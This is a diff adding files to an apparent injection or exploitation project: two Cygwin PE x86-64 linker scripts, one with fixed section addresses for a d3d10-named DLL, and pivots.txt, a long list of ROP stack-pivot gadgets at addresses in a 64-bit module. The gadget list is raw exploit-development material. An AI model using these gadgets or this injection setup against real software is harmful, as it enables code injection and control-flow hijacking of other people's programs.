+    *(.zdebug_info .zdebug.gnu.linkonce.wi.*)
+  }
+  .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_abbrev)
+  }
+  .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_abbrev)
+  }
+  .debug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_line)
+  }
+  .zdebug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_line)
+  }
+  .debug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_frame)
+  }
+  .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_frame)
+  }
+  .debug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_str)
+  }
+  .zdebug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_str)
+  }
+  .debug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_loc)
+  }
+  .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_loc)
+  }
+  .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macinfo)
+  }
+  .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macinfo)
+  }
+  /* SGI/MIPS DWARF 2 extensions.  */
+  .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_weaknames)
+  }
+  .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_weaknames)
+  }
+  .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_funcnames)
+  }
+  .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_funcnames)
+  }
+  .debug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_typenames)
+  }
+  .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_typenames)
+  }
+  .debug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_varnames)
+  }
+  .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_varnames)
+  }
+  .debug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macro)
+  }
+  .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macro)
+  }
+  /* DWARF 3.  */
+  .debug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_ranges)
+  }
+  .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_ranges)
+  }
+  /* DWARF 4.  */
+  .debug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_types .gnu.linkonce.wt.*)
+  }
+  .zdebug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_types .zdebug.gnu.linkonce.wt.*)
+  }
+}

injectionPayloads/ldscript.d3d10

@@ -0,0 +1,303 @@
+/* Default linker script, for normal executables */
+/* Copyright (C) 2014-2017 Free Software Foundation, Inc.
+   Copying and distribution of this script, with or without modification,
+   are permitted in any medium without royalty provided the copyright
+   notice and this notice are preserved.  */
+OUTPUT_FORMAT(pei-x86-64)
+SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api");
+SECTIONS
+{
+  /* Make the virtual address and file offset synced if the alignment is
+     lower than the target page size. */
+  . = __image_base__ + 0x00001000;
+  .text :
+  {
+     KEEP(*(.init))
+    *(.text)
+    *(SORT(.text$*))
+     *(.text.*)
+     *(.gnu.linkonce.t.*)
+    *(.glue_7t)
+    *(.glue_7)
+    . = ALIGN(8);
+     ___CTOR_LIST__ = .; __CTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.ctors));
+			KEEP (*(.ctor));
+			KEEP (*(SORT(.ctors.*)));
+			LONG (0); LONG (0);
+     ___DTOR_LIST__ = .; __DTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.dtors));
+			KEEP (*(.dtor));
+			KEEP (*(SORT(.dtors.*)));
+			LONG (0); LONG (0);
+     KEEP (*(.fini))
+    /* ??? Why is .gcc_exc here?  */
+     *(.gcc_exc)
+    PROVIDE (etext = .);
+     KEEP (*(.gcc_except_table))
+  }
+  /* The Cygwin32 library uses a section to avoid copying certain data
+     on fork.  This used to be named ".data".  The linker used
+     to include this between __data_start__ and __data_end__, but that
+     breaks building the cygwin32 dll.  Instead, we name the section
+     ".data_cygwin_nocopy" and explicitly include it after __data_end__. */
+  . = __image_base__ + 0x00124000;
+    .data  :
+  {
+    __data_start__ = . ;
+    *(.data)
+    *(.data2)
+    *(SORT(.data$*))
+    KEEP(*(.jcr))
+    __data_end__ = . ;
+    *(.data_cygwin_nocopy)
+    *(.rdata)
+             *(SORT(.rdata$*))
+    __rt_psrelocs_start = .;
+    KEEP(*(.rdata_runtime_pseudo_reloc))
+    __rt_psrelocs_end = .;
+    KEEP (*(.rsrc))
+    KEEP (*(.rsrc$*))
+    *(.reloc)
+  }
+  __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start;
+  ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  __RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  .eh_frame BLOCK(__section_alignment__) :
+  {
+    KEEP (*(.eh_frame*))
+    KEEP(*(.pdata*))
+    KEEP(*(.xdata*))
+  }
+  .bss BLOCK(__section_alignment__) :
+  {
+    __bss_start__ = . ;
+    *(.bss)
+    *(COMMON)
+    __bss_end__ = . ;
+  }
+  .edata BLOCK(__section_alignment__) :
+  {
+    *(.edata)
+  }
+  /DISCARD/ :
+  {
+    *(.debug$S)
+    *(.debug$T)
+    *(.debug$F)
+    *(.drectve)
+     *(.note.GNU-stack)
+     *(.gnu.lto_*)
+  }
+  .idata BLOCK(__section_alignment__) :
+  {
+    /* This cannot currently be handled with grouped sections.
+	See pep.em:sort_sections.  */
+    KEEP (SORT(*)(.idata$2))
+    KEEP (SORT(*)(.idata$3))
+    /* These zeroes mark the end of the import list.  */
+    LONG (0); LONG (0); LONG (0); LONG (0); LONG (0);
+    KEEP (SORT(*)(.idata$4))
+    __IAT_start__ = .;
+    SORT(*)(.idata$5)
+    __IAT_end__ = .;
+    KEEP (SORT(*)(.idata$6))
+    KEEP (SORT(*)(.idata$7))
+  }
+  .CRT BLOCK(__section_alignment__) :
+  {
+    ___crt_xc_start__ = . ;
+    KEEP (*(SORT(.CRT$XC*)))  /* C initialization */
+    ___crt_xc_end__ = . ;
+    ___crt_xi_start__ = . ;
+    KEEP (*(SORT(.CRT$XI*)))  /* C++ initialization */
+    ___crt_xi_end__ = . ;
+    ___crt_xl_start__ = . ;
+    KEEP (*(SORT(.CRT$XL*)))  /* TLS callbacks */
+    /* ___crt_xl_end__ is defined in the TLS Directory support code */
+    ___crt_xp_start__ = . ;
+    KEEP (*(SORT(.CRT$XP*)))  /* Pre-termination */
+    ___crt_xp_end__ = . ;
+    ___crt_xt_start__ = . ;
+    KEEP (*(SORT(.CRT$XT*)))  /* Termination */
+    ___crt_xt_end__ = . ;
+  }
+  /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be
+     at the end of the .tls section.  This is important because _tls_start MUST
+     be at the beginning of the section to enable SECREL32 relocations with TLS
+     data.  */
+  .tls BLOCK(__section_alignment__) :
+  {
+    ___tls_start__ = . ;
+    KEEP (*(.tls$AAA))
+    KEEP (*(.tls))
+    KEEP (*(.tls$))
+    KEEP (*(SORT(.tls$*)))
+    KEEP (*(.tls$ZZZ))
+    ___tls_end__ = . ;
+  }
+  .endjunk BLOCK(__section_alignment__) :
+  {
+    /* end is deprecated, don't use it */
+    PROVIDE (end = .);
+    PROVIDE ( _end = .);
+     __end__ = .;
+  }
+  .stab BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stab)
+  }
+  .stabstr BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stabstr)
+  }
+  /* DWARF debug sections.
+     Symbols in the DWARF debugging sections are relative to the beginning
+     of the section.  Unlike other targets that fake this by putting the
+     section VMA at 0, the PE format will not allow it.  */
+  /* DWARF 1.1 and DWARF 2.  */
+  .debug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_aranges)
+  }
+  .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_aranges)
+  }
+  .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubnames)
+  }
+  .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubnames)
+  }
+  .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubtypes)
+  }
+  .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubtypes)
+  }
+  /* DWARF 2.  */
+  .debug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_info .gnu.linkonce.wi.*)
+  }
+  .zdebug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_info .zdebug.gnu.linkonce.wi.*)
+  }
+  .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_abbrev)
+  }
+  .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_abbrev)
+  }
+  .debug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_line)
+  }
+  .zdebug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_line)
+  }
+  .debug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_frame)
+  }
+  .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_frame)
+  }
+  .debug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_str)
+  }
+  .zdebug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_str)
+  }
+  .debug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_loc)
+  }
+  .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_loc)
+  }
+  .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macinfo)
+  }
+  .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macinfo)
+  }
+  /* SGI/MIPS DWARF 2 extensions.  */
+  .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_weaknames)
+  }
+  .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_weaknames)
+  }
+  .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_funcnames)
+  }
+  .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_funcnames)
+  }
+  .debug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_typenames)
+  }
+  .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_typenames)
+  }
+  .debug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_varnames)
+  }
+  .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_varnames)
+  }
+  .debug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macro)
+  }
+  .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macro)
+  }
+  /* DWARF 3.  */
+  .debug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_ranges)
+  }
+  .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_ranges)
+  }
+  /* DWARF 4.  */
+  .debug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_types .gnu.linkonce.wt.*)
+  }
+  .zdebug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_types .zdebug.gnu.linkonce.wt.*)
+  }
+}

injectionPayloads/ldscript.default

@@ -0,0 +1,318 @@
+/* Default linker script, for normal executables */
+/* Copyright (C) 2014-2017 Free Software Foundation, Inc.
+   Copying and distribution of this script, with or without modification,
+   are permitted in any medium without royalty provided the copyright
+   notice and this notice are preserved.  */
+OUTPUT_FORMAT(pei-x86-64)
+SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api");
+SECTIONS
+{
+  /* Make the virtual address and file offset synced if the alignment is
+     lower than the target page size. */
+  . = SIZEOF_HEADERS;
+  . = ALIGN(__section_alignment__);
+  .text  __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) :
+  {
+     KEEP(*(.init))
+    *(.text)
+    *(SORT(.text$*))
+     *(.text.*)
+     *(.gnu.linkonce.t.*)
+    *(.glue_7t)
+    *(.glue_7)
+    . = ALIGN(8);
+     ___CTOR_LIST__ = .; __CTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.ctors));
+			KEEP (*(.ctor));
+			KEEP (*(SORT(.ctors.*)));
+			LONG (0); LONG (0);
+     ___DTOR_LIST__ = .; __DTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.dtors));
+			KEEP (*(.dtor));
+			KEEP (*(SORT(.dtors.*)));
+			LONG (0); LONG (0);
+     KEEP (*(.fini))
+    /* ??? Why is .gcc_exc here?  */
+     *(.gcc_exc)
+    PROVIDE (etext = .);
+     KEEP (*(.gcc_except_table))
+  }
+  /* The Cygwin32 library uses a section to avoid copying certain data
+     on fork.  This used to be named ".data".  The linker used
+     to include this between __data_start__ and __data_end__, but that
+     breaks building the cygwin32 dll.  Instead, we name the section
+     ".data_cygwin_nocopy" and explicitly include it after __data_end__. */
+  .data BLOCK(__section_alignment__) :
+  {
+    __data_start__ = . ;
+    *(.data)
+    *(.data2)
+    *(SORT(.data$*))
+    KEEP(*(.jcr))
+    __data_end__ = . ;
+    *(.data_cygwin_nocopy)
+  }
+  .rdata BLOCK(__section_alignment__) :
+  {
+    *(.rdata)
+             *(SORT(.rdata$*))
+    __rt_psrelocs_start = .;
+    KEEP(*(.rdata_runtime_pseudo_reloc))
+    __rt_psrelocs_end = .;
+  }
+  __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start;
+  ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  __RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  .eh_frame BLOCK(__section_alignment__) :
+  {
+    KEEP (*(.eh_frame*))
+  }
+  .pdata BLOCK(__section_alignment__) :
+  {
+    KEEP(*(.pdata*))
+  }
+  .xdata BLOCK(__section_alignment__) :
+  {
+    KEEP(*(.xdata*))
+  }
+  .bss BLOCK(__section_alignment__) :
+  {
+    __bss_start__ = . ;
+    *(.bss)
+    *(COMMON)
+    __bss_end__ = . ;
+  }
+  .edata BLOCK(__section_alignment__) :
+  {
+    *(.edata)
+  }
+  /DISCARD/ :
+  {
+    *(.debug$S)
+    *(.debug$T)
+    *(.debug$F)
+    *(.drectve)
+     *(.note.GNU-stack)
+     *(.gnu.lto_*)
+  }
+  .idata BLOCK(__section_alignment__) :
+  {
+    /* This cannot currently be handled with grouped sections.
+	See pep.em:sort_sections.  */
+    KEEP (SORT(*)(.idata$2))
+    KEEP (SORT(*)(.idata$3))
+    /* These zeroes mark the end of the import list.  */
+    LONG (0); LONG (0); LONG (0); LONG (0); LONG (0);
+    KEEP (SORT(*)(.idata$4))
+    __IAT_start__ = .;
+    SORT(*)(.idata$5)
+    __IAT_end__ = .;
+    KEEP (SORT(*)(.idata$6))
+    KEEP (SORT(*)(.idata$7))
+  }
+  .CRT BLOCK(__section_alignment__) :
+  {
+    ___crt_xc_start__ = . ;
+    KEEP (*(SORT(.CRT$XC*)))  /* C initialization */
+    ___crt_xc_end__ = . ;
+    ___crt_xi_start__ = . ;
+    KEEP (*(SORT(.CRT$XI*)))  /* C++ initialization */
+    ___crt_xi_end__ = . ;
+    ___crt_xl_start__ = . ;
+    KEEP (*(SORT(.CRT$XL*)))  /* TLS callbacks */
+    /* ___crt_xl_end__ is defined in the TLS Directory support code */
+    ___crt_xp_start__ = . ;
+    KEEP (*(SORT(.CRT$XP*)))  /* Pre-termination */
+    ___crt_xp_end__ = . ;
+    ___crt_xt_start__ = . ;
+    KEEP (*(SORT(.CRT$XT*)))  /* Termination */
+    ___crt_xt_end__ = . ;
+  }
+  /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be
+     at the end of the .tls section.  This is important because _tls_start MUST
+     be at the beginning of the section to enable SECREL32 relocations with TLS
+     data.  */
+  .tls BLOCK(__section_alignment__) :
+  {
+    ___tls_start__ = . ;
+    KEEP (*(.tls$AAA))
+    KEEP (*(.tls))
+    KEEP (*(.tls$))
+    KEEP (*(SORT(.tls$*)))
+    KEEP (*(.tls$ZZZ))
+    ___tls_end__ = . ;
+  }
+  .endjunk BLOCK(__section_alignment__) :
+  {
+    /* end is deprecated, don't use it */
+    PROVIDE (end = .);
+    PROVIDE ( _end = .);
+     __end__ = .;
+  }
+  .rsrc BLOCK(__section_alignment__) : SUBALIGN(4)
+  {
+    KEEP (*(.rsrc))
+    KEEP (*(.rsrc$*))
+  }
+  .reloc BLOCK(__section_alignment__) :
+  {
+    *(.reloc)
+  }
+  .stab BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stab)
+  }
+  .stabstr BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stabstr)
+  }
+  /* DWARF debug sections.
+     Symbols in the DWARF debugging sections are relative to the beginning
+     of the section.  Unlike other targets that fake this by putting the
+     section VMA at 0, the PE format will not allow it.  */
+  /* DWARF 1.1 and DWARF 2.  */
+  .debug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_aranges)
+  }
+  .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_aranges)
+  }
+  .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubnames)
+  }
+  .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubnames)
+  }
+  .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubtypes)
+  }
+  .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubtypes)
+  }
+  /* DWARF 2.  */
+  .debug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_info .gnu.linkonce.wi.*)
+  }
+  .zdebug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_info .zdebug.gnu.linkonce.wi.*)
+  }
+  .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_abbrev)
+  }
+  .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_abbrev)
+  }
+  .debug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_line)
+  }
+  .zdebug_line BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_line)
+  }
+  .debug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_frame)
+  }
+  .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_frame)
+  }
+  .debug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_str)
+  }
+  .zdebug_str BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_str)
+  }
+  .debug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_loc)
+  }
+  .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_loc)
+  }
+  .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macinfo)
+  }
+  .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macinfo)
+  }
+  /* SGI/MIPS DWARF 2 extensions.  */
+  .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_weaknames)
+  }
+  .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_weaknames)
+  }
+  .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_funcnames)
+  }
+  .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_funcnames)
+  }
+  .debug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_typenames)
+  }
+  .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_typenames)
+  }
+  .debug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_varnames)
+  }
+  .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_varnames)
+  }
+  .debug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_macro)
+  }
+  .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_macro)
+  }
+  /* DWARF 3.  */
+  .debug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_ranges)
+  }
+  .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_ranges)
+  }
+  /* DWARF 4.  */
+  .debug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_types .gnu.linkonce.wt.*)
+  }
+  .zdebug_types BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_types .zdebug.gnu.linkonce.wt.*)
+  }
+}

injectionPayloads/pivots.txt

@@ -0,0 +1,820 @@
+
+
+
+Gadgets
+=======
+
+
+0x0000000180075239: mov esp, ebx; pop r12; pop rdi; pop rbp; ret; 
+0x00000001800b8223: mov esp, ebx; pop r12; pop rdi; pop rsi; ret; 
+0x000000018007ba2a: mov esp, ebx; pop r13; pop r12; pop rbp; ret; 
+0x0000000180077379: mov esp, ebx; pop r14; pop r12; pop rbp; ret; 
+0x00000001800cfc97: mov esp, ebx; pop r14; pop r12; pop rdi; ret; 
+0x000000018000137a: mov esp, ebx; pop r14; pop rdi; pop rbp; ret; 
+0x0000000180002542: mov esp, ebx; pop r14; pop rdi; pop rsi; ret; 
+0x00000001800b5502: mov esp, ebx; pop r14; ret; 
+0x000000018000f011: mov esp, ebx; pop r15; pop r12; pop rbp; ret; 
+0x0000000180086dc6: mov esp, ebx; pop r15; pop r13; pop r12; ret; 
+0x00000001800114cf: mov esp, ebx; pop r15; pop r14; pop r12; ret; 
+0x000000018001ff85: mov esp, ebx; pop r15; pop r14; pop r13; ret; 
+0x00000001800093d0: mov esp, ebx; pop r15; pop r14; pop rbp; ret; 
+0x0000000180007f86: mov esp, ebx; pop r15; pop r14; pop rdi; ret; 
+0x00000001800e413e: mov esp, ebx; pop r15; pop rdi; pop rbp; ret; 
+0x000000018001bb56: mov esp, ebx; pop r15; ret; 
+0x000000018001319e: mov esp, ebx; pop rbp; ret; 
+0x00000001800052ed: mov esp, ebx; pop rdi; ret; 
+0x0000000180075238: mov rsp, r11; pop r12; pop rdi; pop rbp; ret; 
+0x00000001800b8222: mov rsp, r11; pop r12; pop rdi; pop rsi; ret; 
+0x000000018007ba29: mov rsp, r11; pop r13; pop r12; pop rbp; ret; 
+0x0000000180077378: mov rsp, r11; pop r14; pop r12; pop rbp; ret; 
+0x00000001800cfc96: mov rsp, r11; pop r14; pop r12; pop rdi; ret; 
+0x0000000180001379: mov rsp, r11; pop r14; pop rdi; pop rbp; ret; 
+0x0000000180002541: mov rsp, r11; pop r14; pop rdi; pop rsi; ret; 
+0x00000001800b5501: mov rsp, r11; pop r14; ret; 
+0x000000018000f010: mov rsp, r11; pop r15; pop r12; pop rbp; ret; 
+0x0000000180086dc5: mov rsp, r11; pop r15; pop r13; pop r12; ret; 
+0x00000001800114ce: mov rsp, r11; pop r15; pop r14; pop r12; ret; 
+0x000000018001ff84: mov rsp, r11; pop r15; pop r14; pop r13; ret; 
+0x00000001800093cf: mov rsp, r11; pop r15; pop r14; pop rbp; ret; 
+0x0000000180007f85: mov rsp, r11; pop r15; pop r14; pop rdi; ret; 
+0x00000001800e413d: mov rsp, r11; pop r15; pop rdi; pop rbp; ret; 
+0x000000018001bb55: mov rsp, r11; pop r15; ret; 
+0x000000018001319d: mov rsp, r11; pop rbp; ret; 
+0x00000001800052ec: mov rsp, r11; pop rdi; ret; 
+0x0000000180015401: ret 0; 
+0x00000001800ade16: ret 0x1000; 
+0x00000001800615fd: ret 0x100f; 
+0x00000001800980ea: ret 0x102c; 
+0x000000018002a0f2: ret 0x1074; 
+0x000000018004e6d7: ret 0x10a8; 
+0x00000001800020ec: ret 0x110f; 
+0x0000000180087c8a: ret 0x1131; 
+0x0000000180086a5a: ret 0x1147; 
+0x000000018007efb7: ret 0x11; 
+0x0000000180085cca: ret 0x11c6; 
+0x0000000180078542: ret 0x123a; 
+0x00000001800231c0: ret 0x125; 
+0x00000001800e42b4: ret 0x1274; 
+0x00000001800f737e: ret 0x1275; 
+0x000000018007383a: ret 0x1278; 
+0x000000018006f164: ret 0x128; 
+0x000000018006ef0e: ret 0x12; 
+0x00000001800703ba: ret 0x12a8; 
+0x000000018006e9ba: ret 0x12c9; 
+0x0000000180069512: ret 0x1316; 
+0x000000018006e782: ret 0x1338; 
+0x00000001800e46cf: ret 0x1374; 
+0x00000001800e832f: ret 0x1389; 
+0x0000000180003acd: ret 0x138a; 
+0x000000018005e876: ret 0x13; 
+0x000000018008f23a: ret 0x13a3; 
+0x0000000180099937: ret 0x13e9; 
+0x0000000180051852: ret 0x1492; 
+0x00000001800e2b2c: ret 0x14; 
+0x0000000180056efa: ret 0x14ab; 
+0x00000001800d729a: ret 0x1569; 
+0x00000001800e4bd7: ret 0x1572; 
+0x000000018006dc7f: ret 0x158b; 
+0x000000018003fd42: ret 0x15; 
+0x000000018003aa52: ret 0x1615; 
+0x000000018003a152: ret 0x161e; 
+0x0000000180001436: ret 0x163; 
+0x0000000180084e31: ret 0x166; 
+0x0000000180080bce: ret 0x1677; 
+0x00000001800c3906: ret 0x167f; 
+0x000000018002fe3f: ret 0x16; 
+0x00000001800e98ea: ret 0x1717; 
+0x0000000180081599: ret 0x1772; 
+0x00000001800e3cea: ret 0x1773; 
+0x0000000180024542: ret 0x177a; 
+0x0000000180021732: ret 0x179a; 
+0x000000018001e992: ret 0x17; 
+0x00000001800e6824: ret 0x1872; 
+0x00000001800f7d77: ret 0x1874; 
+0x000000018000f1e0: ret 0x18; 
+0x000000018005581d: ret 0x18b; 
+0x000000018002a882: ret 0x18e9; 
+0x00000001800c65aa: ret 0x196e; 
+0x00000001800724b2: ret 0x1975; 
+0x00000001800d1f1f: ret 0x19; 
+0x000000018002d832: ret 0x19ba; 
+0x00000001800084e1: ret 0x19e8; 
+0x0000000180080bc5: ret 0x1a77; 
+0x00000001800b5f0e: ret 0x1a7d; 
+0x0000000180089a82: ret 0x1a82; 
+0x0000000180029ff4: ret 0x1ae8; 
+0x000000018000880e: ret 0x1b8; 
+0x00000001800bf1b4: ret 0x1b9; 
+0x0000000180088e22: ret 0x1baa; 
+0x000000018000ecaf: ret 0x1be8; 
+0x000000018009a61a: ret 0x1c37; 
+0x000000018003e7f1: ret 0x1c72; 
+0x00000001800daf65: ret 0x1c77; 
+0x000000018006ec06: ret 0x1c8d; 
+0x00000001800a1e77: ret 0x1c; 
+0x000000018007fe0c: ret 0x1d; 
+0x00000001800c5e5e: ret 0x1deb; 
+0x000000018000798c: ret 0x1e39; 
+0x000000018008972a: ret 0x1e4e; 
+0x000000018006da0d: ret 0x1e89; 
+0x000000018006d2ea: ret 0x1edd; 
+0x00000001800271f3: ret 0x1f0f; 
+0x00000001800c80d0: ret 0x1f75; 
+0x00000001800c313a: ret 0x1f7d; 
+0x000000018005fd74: ret 0x1f; 
+0x00000001800589ea: ret 0x2026; 
+0x00000001800e6795: ret 0x2072; 
+0x0000000180034d19: ret 0x2075; 
+0x00000001800d7eb6: ret 0x20e8; 
+0x000000018004c1da: ret 0x20fc; 
+0x0000000180012801: ret 0x216; 
+0x000000018003edbf: ret 0x21; 
+0x000000018003dd9a: ret 0x21f7; 
+0x00000001800bb843: ret 0x2272; 
+0x00000001800ec1e8: ret 0x230; 
+0x00000001800f2d73: ret 0x2341; 
+0x00000001800cc68b: ret 0x2344; 
+0x000000018004e7ae: ret 0x2348; 
+0x0000000180086a98: ret 0x238; 
+0x00000001800188ea: ret 0x2427; 
+0x000000018000534a: ret 0x251; 
+0x0000000180076858: ret 0x2573; 
+0x000000018001e282: ret 0x25; 
+0x0000000180072d6d: ret 0x2674; 
